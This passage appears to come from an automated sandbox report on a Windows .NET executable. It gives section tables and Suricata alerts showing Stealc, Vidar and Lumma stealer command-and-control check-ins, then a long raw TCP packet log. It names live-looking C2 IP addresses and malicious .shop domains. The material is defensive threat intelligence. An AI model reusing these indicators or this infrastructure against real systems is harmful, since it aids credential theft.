.rsrc	0x46000	0x608	0x800	71ed38dd1234fffc3fea5bc48f0950a4	False	0.34130859375	data	3.4156783310037753	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x48000	0xc	0x200	adece1f73c8ee7aada82babbcf93917c	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x460a0	0x378	data			0.4436936936936937
RT_MANIFEST	0x46418	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-15T19:36:58.181418+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49721	159.69.100.83	443	TCP
2024-09-15T19:36:59.314179+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49723	159.69.100.83	443	TCP
2024-09-15T19:37:00.650870+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49724	159.69.100.83	443	TCP
2024-09-15T19:37:02.071194+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49725	159.69.100.83	443	TCP
2024-09-15T19:37:02.748609+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	159.69.100.83	443	192.168.2.6	49725	TCP
2024-09-15T19:37:03.402176+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49726	159.69.100.83	443	TCP
2024-09-15T19:37:04.099378+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.6	49726	159.69.100.83	443	TCP
2024-09-15T19:37:04.099559+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	159.69.100.83	443	192.168.2.6	49726	TCP
2024-09-15T19:37:04.840167+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49727	159.69.100.83	443	TCP
2024-09-15T19:37:05.836558+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49728	159.69.100.83	443	TCP
2024-09-15T19:37:08.842720+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49729	159.69.100.83	443	TCP
2024-09-15T19:37:10.446700+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49730	159.69.100.83	443	TCP
2024-09-15T19:37:11.640174+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49731	159.69.100.83	443	TCP
2024-09-15T19:37:12.733179+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49732	159.69.100.83	443	TCP
2024-09-15T19:37:14.472127+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49733	159.69.100.83	443	TCP
2024-09-15T19:37:16.168791+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49734	159.69.100.83	443	TCP
2024-09-15T19:37:17.721383+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49736	159.69.100.83	443	TCP
2024-09-15T19:37:19.176983+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49737	159.69.100.83	443	TCP
2024-09-15T19:37:20.447910+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49738	159.69.100.83	443	TCP
2024-09-15T19:37:23.394110+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49739	159.69.100.83	443	TCP
2024-09-15T19:37:24.694703+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49740	159.69.100.83	443	TCP
2024-09-15T19:37:26.053170+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49741	159.69.100.83	443	TCP
2024-09-15T19:37:27.425167+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49742	159.69.100.83	443	TCP
2024-09-15T19:37:29.479602+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49743	159.69.100.83	443	TCP
2024-09-15T19:37:31.284695+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49745	159.69.100.83	443	TCP
2024-09-15T19:37:32.942103+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49746	192.185.139.21	443	TCP
2024-09-15T19:37:34.018731+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49747	159.69.100.83	443	TCP
2024-09-15T19:37:35.155113+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49748	46.8.231.109	80	TCP
2024-09-15T19:37:35.339408+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49748	46.8.231.109	80	TCP
2024-09-15T19:37:35.345542+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.6	49748	TCP
2024-09-15T19:37:35.523630+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49748	46.8.231.109	80	TCP
2024-09-15T19:37:35.530416+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.6	49748	TCP
2024-09-15T19:37:35.546754+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49749	192.185.139.21	443	TCP
2024-09-15T19:37:36.038569+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49748	46.8.231.109	80	TCP
2024-09-15T19:37:36.219049+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49748	46.8.231.109	80	TCP
2024-09-15T19:37:38.782800+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49748	46.8.231.109	80	TCP
2024-09-15T19:37:39.528938+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49748	46.8.231.109	80	TCP
2024-09-15T19:37:40.153322+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49754	46.8.231.109	80	TCP
2024-09-15T19:37:40.811726+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49754	46.8.231.109	80	TCP
2024-09-15T19:37:41.453534+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49756	46.8.231.109	80	TCP
2024-09-15T19:37:42.429612+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49756	46.8.231.109	80	TCP
2024-09-15T19:37:44.398460+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49758	147.45.44.104	80	TCP
2024-09-15T19:37:45.443446+0200	2055789	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (preachstrwnwjw .shop)	1	192.168.2.6	57008	1.1.1.1	53	UDP
2024-09-15T19:37:45.456534+0200	2055787	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (complainnykso .shop)	1	192.168.2.6	55371	1.1.1.1	53	UDP
2024-09-15T19:37:45.940425+0200	2055788	ET MALWARE Observed Lumma Stealer Related Domain (complainnykso .shop in TLS SNI)	1	192.168.2.6	49760	188.114.97.3	443	TCP
2024-09-15T19:37:46.404363+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49760	188.114.97.3	443	TCP
2024-09-15T19:37:46.404363+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49760	188.114.97.3	443	TCP
2024-09-15T19:37:46.904345+0200	2055785	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (basedsymsotp .shop)	1	192.168.2.6	64217	1.1.1.1	53	UDP
2024-09-15T19:37:47.379855+0200	2055786	ET MALWARE Observed Lumma Stealer Related Domain (basedsymsotp .shop in TLS SNI)	1	192.168.2.6	49761	172.67.221.198	443	TCP
2024-09-15T19:37:47.835363+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49761	172.67.221.198	443	TCP
2024-09-15T19:37:47.835363+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49761	172.67.221.198	443	TCP
2024-09-15T19:37:47.876729+0200	2055783	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (charistmatwio .shop)	1	192.168.2.6	64985	1.1.1.1	53	UDP
2024-09-15T19:37:48.384625+0200	2055784	ET MALWARE Observed Lumma Stealer Related Domain (charistmatwio .shop in TLS SNI)	1	192.168.2.6	49762	188.114.96.3	443	TCP
2024-09-15T19:37:48.844438+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49762	188.114.96.3	443	TCP
2024-09-15T19:37:48.844438+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49762	188.114.96.3	443	TCP
2024-09-15T19:37:48.847064+0200	2055779	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (grassemenwji .shop)	1	192.168.2.6	51352	1.1.1.1	53	UDP
2024-09-15T19:37:49.377110+0200	2055780	ET MALWARE Observed Lumma Stealer Related Domain (grassemenwji .shop in TLS SNI)	1	192.168.2.6	49763	188.114.97.3	443	TCP
2024-09-15T19:37:49.827217+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49763	188.114.97.3	443	TCP
2024-09-15T19:37:49.827217+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49763	188.114.97.3	443	TCP
2024-09-15T19:37:49.830175+0200	2055777	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (ignoracndwko .shop)	1	192.168.2.6	64018	1.1.1.1	53	UDP
2024-09-15T19:37:49.843744+0200	2055781	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (stitchmiscpaew .shop)	1	192.168.2.6	64875	1.1.1.1	53	UDP
2024-09-15T19:37:50.356998+0200	2055782	ET MALWARE Observed Lumma Stealer Related Domain (stitchmiscpaew .shop in TLS SNI)	1	192.168.2.6	49764	104.21.26.150	443	TCP
2024-09-15T19:37:50.846278+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49764	104.21.26.150	443	TCP
2024-09-15T19:37:50.846278+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49764	104.21.26.150	443	TCP
2024-09-15T19:37:50.848249+0200	2055775	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (commisionipwn .shop)	1	192.168.2.6	49687	1.1.1.1	53	UDP
2024-09-15T19:37:51.324889+0200	2055776	ET MALWARE Observed Lumma Stealer Related Domain (commisionipwn .shop in TLS SNI)	1	192.168.2.6	49765	188.114.96.3	443	TCP
2024-09-15T19:37:51.771069+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49765	188.114.96.3	443	TCP
2024-09-15T19:37:51.771069+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49765	188.114.96.3	443	TCP
2024-09-15T19:37:53.055959+0200	2857974	ETPRO MALWARE Observed DNS Query to Lumma Domain	1	192.168.2.6	60911	1.1.1.1	53	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2024 19:36:56.397118092 CEST	49720	443	192.168.2.6	149.154.167.99
Sep 15, 2024 19:36:56.397165060 CEST	443	49720	149.154.167.99	192.168.2.6
Sep 15, 2024 19:36:56.397267103 CEST	49720	443	192.168.2.6	149.154.167.99
Sep 15, 2024 19:36:56.410787106 CEST	49720	443	192.168.2.6	149.154.167.99
Sep 15, 2024 19:36:56.410813093 CEST	443	49720	149.154.167.99	192.168.2.6
Sep 15, 2024 19:36:57.059523106 CEST	443	49720	149.154.167.99	192.168.2.6
Sep 15, 2024 19:36:57.059636116 CEST	49720	443	192.168.2.6	149.154.167.99
Sep 15, 2024 19:36:57.124453068 CEST	49720	443	192.168.2.6	149.154.167.99
Sep 15, 2024 19:36:57.124475002 CEST	443	49720	149.154.167.99	192.168.2.6
Sep 15, 2024 19:36:57.124762058 CEST	443	49720	149.154.167.99	192.168.2.6
Sep 15, 2024 19:36:57.124815941 CEST	49720	443	192.168.2.6	149.154.167.99
Sep 15, 2024 19:36:57.128803015 CEST	49720	443	192.168.2.6	149.154.167.99
Sep 15, 2024 19:36:57.171403885 CEST	443	49720	149.154.167.99	192.168.2.6
Sep 15, 2024 19:36:57.316740036 CEST	443	49720	149.154.167.99	192.168.2.6
Sep 15, 2024 19:36:57.316770077 CEST	443	49720	149.154.167.99	192.168.2.6
Sep 15, 2024 19:36:57.316803932 CEST	443	49720	149.154.167.99	192.168.2.6
Sep 15, 2024 19:36:57.316827059 CEST	49720	443	192.168.2.6	149.154.167.99
Sep 15, 2024 19:36:57.316833973 CEST	443	49720	149.154.167.99	192.168.2.6
Sep 15, 2024 19:36:57.316857100 CEST	49720	443	192.168.2.6	149.154.167.99
Sep 15, 2024 19:36:57.316899061 CEST	49720	443	192.168.2.6	149.154.167.99
Sep 15, 2024 19:36:57.321636915 CEST	49720	443	192.168.2.6	149.154.167.99
Sep 15, 2024 19:36:57.321659088 CEST	443	49720	149.154.167.99	192.168.2.6
Sep 15, 2024 19:36:57.328906059 CEST	49721	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:57.328947067 CEST	443	49721	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:57.329015970 CEST	49721	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:57.329324961 CEST	49721	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:57.329336882 CEST	443	49721	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:58.181343079 CEST	443	49721	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:58.181417942 CEST	49721	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:58.186301947 CEST	49721	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:58.186322927 CEST	443	49721	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:58.186599970 CEST	443	49721	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:58.186661005 CEST	49721	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:58.187522888 CEST	49721	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:58.231411934 CEST	443	49721	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:58.662801027 CEST	443	49721	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:58.662870884 CEST	49721	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:58.662873983 CEST	443	49721	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:58.662926912 CEST	49721	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:58.666529894 CEST	49721	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:58.666549921 CEST	443	49721	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:58.668756962 CEST	49723	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:58.668842077 CEST	443	49723	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:58.668935061 CEST	49723	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:58.669197083 CEST	49723	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:58.669224024 CEST	443	49723	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:59.314078093 CEST	443	49723	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:59.314178944 CEST	49723	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:59.314877033 CEST	49723	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:59.314898014 CEST	443	49723	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:59.317101002 CEST	49723	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:59.317114115 CEST	443	49723	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:59.995646000 CEST	443	49723	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:59.995717049 CEST	443	49723	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:59.995724916 CEST	49723	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:59.995755911 CEST	49723	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:59.995940924 CEST	49723	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:59.995961905 CEST	443	49723	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:59.997400045 CEST	49724	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:59.997443914 CEST	443	49724	159.69.100.83	192.168.2.6
Sep 15, 2024 19:36:59.997525930 CEST	49724	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:59.997731924 CEST	49724	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:36:59.997749090 CEST	443	49724	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:00.650794029 CEST	443	49724	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:00.650870085 CEST	49724	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:00.651341915 CEST	49724	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:00.651357889 CEST	443	49724	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:00.653312922 CEST	49724	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:00.653317928 CEST	443	49724	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:01.416955948 CEST	443	49724	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:01.416981936 CEST	443	49724	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:01.417048931 CEST	443	49724	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:01.417062998 CEST	49724	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:01.417104006 CEST	49724	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:01.417399883 CEST	49724	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:01.417423010 CEST	443	49724	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:01.419512987 CEST	49725	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:01.419562101 CEST	443	49725	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:01.419656992 CEST	49725	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:01.420305014 CEST	49725	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:01.420315981 CEST	443	49725	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:02.071118116 CEST	443	49725	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:02.071193933 CEST	49725	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:02.071592093 CEST	49725	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:02.071602106 CEST	443	49725	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:02.073460102 CEST	49725	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:02.073465109 CEST	443	49725	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:02.748450994 CEST	443	49725	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:02.748476982 CEST	443	49725	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:02.748533010 CEST	443	49725	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:02.748557091 CEST	49725	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:02.748625994 CEST	49725	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:02.749140978 CEST	49725	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:02.749159098 CEST	443	49725	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:02.750886917 CEST	49726	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:02.750911951 CEST	443	49726	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:02.750983000 CEST	49726	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:02.751188040 CEST	49726	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:02.751195908 CEST	443	49726	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:03.402010918 CEST	443	49726	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:03.402175903 CEST	49726	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:03.402833939 CEST	49726	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:03.402843952 CEST	443	49726	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:03.404827118 CEST	49726	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:03.404834986 CEST	443	49726	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:04.099404097 CEST	443	49726	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:04.099478960 CEST	443	49726	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:04.099562883 CEST	49726	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:04.099723101 CEST	49726	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:04.099723101 CEST	49726	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:04.170526981 CEST	49727	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:04.170582056 CEST	443	49727	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:04.170654058 CEST	49727	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:04.170903921 CEST	49727	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:04.170913935 CEST	443	49727	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:04.397567987 CEST	49726	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:04.397599936 CEST	443	49726	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:04.839992046 CEST	443	49727	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:04.840167046 CEST	49727	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:04.840698957 CEST	49727	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:04.840724945 CEST	443	49727	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:04.842730045 CEST	49727	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:04.842746019 CEST	443	49727	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:04.842793941 CEST	49727	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:04.842809916 CEST	443	49727	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:05.179574966 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:05.179687977 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:05.179914951 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:05.180036068 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:05.180059910 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:05.489253998 CEST	443	49727	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:05.489320040 CEST	49727	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:05.489351034 CEST	443	49727	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:05.489371061 CEST	443	49727	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:05.489401102 CEST	49727	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:05.489423990 CEST	49727	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:05.490430117 CEST	49727	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:05.490447044 CEST	443	49727	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:05.836414099 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:05.836558104 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:05.842758894 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:05.842780113 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:05.844827890 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:05.844840050 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.268279076 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.268305063 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.268320084 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.268349886 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.268388033 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.268404961 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.268413067 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.268424034 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.268451929 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.297910929 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.297964096 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.298049927 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.298062086 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.298079967 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.298104048 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.365184069 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.365200043 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.365313053 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.365339041 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.365381956 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.396184921 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.396229982 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.396282911 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.396307945 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.396332026 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.396343946 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.434894085 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.434940100 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.435043097 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.435074091 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.435091972 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.435106993 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.459995031 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.460015059 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.460138083 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.460159063 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.460200071 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.480340004 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.480356932 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.480483055 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.480503082 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.480598927 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.497030973 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.497087002 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.497154951 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.497169971 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.497203112 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.517158985 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.517183065 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.517281055 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.517307043 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.517355919 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.541671038 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.541697025 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.541790962 CEST	49728	443	192.168.2.6	159.69.100.83
